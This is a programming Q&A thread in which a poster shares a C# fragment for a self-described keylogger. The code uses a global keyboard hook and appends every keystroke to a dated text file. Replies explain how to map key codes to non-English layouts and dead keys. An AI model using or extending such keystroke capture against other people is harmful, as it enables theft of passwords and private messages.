Click here to Skip to main content
15,899,026 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
My sub program is a key logger. It catches all key strikes and saves them like every key logger does. But it does so only in English.

If I press a key (a) in keyboard and the language is in Arabic it should got out a (ش) letter
If I press a key (a) in keyboard and the language is in Hebrew it should got out a (ב) letter
If I press a key (a) in keyboard and the language is in German it should got out a (ä) letter
If I press a key (a) in keyboard and the language is in Japanese it should got out a (だ) letter


i get the current keyboard layout but

How or from where to get the corresponding letters in the foreign language that should be printed out when the key is pressed?


The problem is that the keyboard returns an ASCII or int32 number as return value.

Does anyone have any idea?


C#
/////////////////////////////////////////////
       GlobalKeyboardHook gHook;


       public void gHook_KeyDown(object sender, KeyEventArgs e)
       {

           pathString = @"C:\myprog\";
           pathString_FILE = DateTime.Now.Year.ToString() + "-" + DateTime.Now.Month.ToString() + "-" + DateTime.Now.Day.ToString();
           File_IS = pathString + pathString_FILE + "\\keystrike.txt";


           string keystrike = "";
           keystrike = ((char)e.KeyValue).ToString();


           if (Directory.Exists(pathString))
           {
               using (System.IO.StreamWriter file2 = new System.IO.StreamWriter(@File_IS, true))
               {

                   file2.Write(keystrike);
                   file2.Close();
               }

                          }
           else
           {
               System.IO.Directory.CreateDirectory(pathString);

           }


       }
Posted
Updated 31-Jul-13 6:02am
v5
Comments
lukeer 31-Jul-13 2:11am    
1) When posting a question, please use proper spelling.

2) You told us nothing about what your code looks like. Since there are myriads of possibilities how you can achieve a given behaviour, please use the "Improve question" link above and add the relevant part of your code to the question.
Wrap it in tags like these <pre lang="c#">YourCodeHere();</pre>

As an example, look at the Control.KeyPress[^] event. It delivers the character the user "meant". What do you use at the moment?

3) Why in the world would you want to get an 'ä' when user hit 'f'? Is that a mere example?
Bernhard Hiller 31-Jul-13 2:21am    
Also note the "dead key feature": one keypress may not have an effect at all first, but when a second key is pressed, a character is generated from the combination. E.g. ´ + a = á
I am not sure, but maybe WMI can help you find out the currently selected keyboard.
berrymaria 31-Jul-13 2:56am    
http://www.codeproject.com/Articles/90218/Changing-Keyboard-Layout

1 solution

It doesn't really do it in English. It does it at the level of key presses, key codes which were initially based on English, but in essence they are culture-neutral. They are not letters at all.

If you want to decipher it as Arabic, you need to take into account the keyboard layout activated for each application where you input data (as you know, Windows keyboard layout switch operate per application), track the state of all prefix key and use some table for translation key codes into Unicode letters. I would say, this is not a very simple work.

—SA
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900